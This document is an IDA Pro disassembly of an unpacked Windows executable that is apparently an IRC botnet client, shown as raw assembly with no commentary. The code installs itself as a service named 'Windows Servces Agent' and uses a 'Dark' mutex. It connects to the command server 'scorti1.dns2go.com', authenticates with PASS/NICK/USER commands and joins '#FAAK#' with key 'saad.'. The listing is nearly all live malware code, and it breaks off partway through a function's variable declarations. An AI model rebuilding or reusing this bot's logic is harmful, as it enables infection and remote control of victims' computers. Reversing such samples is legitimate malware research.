;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : B411C2B6A819555CE9AE39830E7FA7B1
; File Name : u:\work\b411c2b6a819555ce9ae39830e7fa7b1_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_418359+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsServces ; "Windows Servces Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CAF28
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CAF98
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CAED8
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CAF50
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416643p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43DEBC
call dword_4CB00C
call sub_40B2BF
call dword_4CAECC
call dword_4CAECC
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D128
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 26509B6h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2650000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 2640BCCh
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D120
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418684
pop ecx
mov dword_4CACB0, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CACB4, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B12
push 2
call dword_4CB020
push 7530h
push offset aDark ; "Dark"
push ebx
push ebx
nop
call near ptr 2670251h
push eax
nop
call near ptr 267016Eh
cmp eax, 102h
jnz short loc_4012A1
push 1
nop
call near ptr 77E75CB5h
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CAEE4
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 26509B6h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 2670000h
push eax
call near ptr 2650000h
nop
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_4293C4
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_4293BC
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2660E71h
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2660D51h
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 2660A00h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
call near ptr 2650E43h
nop
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418293
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2660D51h
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D128
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
call near ptr 26609C2h
nop
push eax
push esi
push 100000h
nop
call near ptr 2660377h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_4293B0
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2640BCCh
test eax, eax
jz short loc_401516
push 0C8h
nop
call near ptr 2650E43h
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CAECC
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB294, 2
jle short loc_401562
mov eax, dword_4DB298
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 267016Eh
push esi
nop
call near ptr 26408F3h
mov eax, dword_4DB298
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 2650E43h
mov eax, dword_4DB298
push dword ptr [eax+8]
nop
call near ptr 26601FEh
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB044, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429394
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F6
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 0B80h
push ebx
push offset dword_43D130
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429370
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset dword_419A00
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_401622
call near ptr 2660A00h
nop
push eax
lea eax, [ebp-0A0h]
push offset unk_429330
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 2
call sub_40B33E
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429304
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_40169A
nop
call near ptr 2660A00h
push eax
lea eax, [ebp-0A0h]
push offset dword_4292D0
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CACBC
mov dword_4CAE28, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CAD3C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CAD7C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CAE10, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CACB8
mov dword_4CAE24, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CAE24, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
call near ptr 2650E43h
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2BF
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CAECC
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Ao
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CAF74
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAF9
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08D
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43DEC8
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CAFF4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43DEBC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB00C
call sub_40AB22
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call near ptr 2650E43h
nop
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_4293CC
call sub_415220
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB00C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B412
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CAE20, bl
jz short loc_40199A
push offset byte_4CAE20
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2C
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB00C
push 1388h
call near ptr 2650E43h
nop
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CAF8C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F7F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2650E43h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
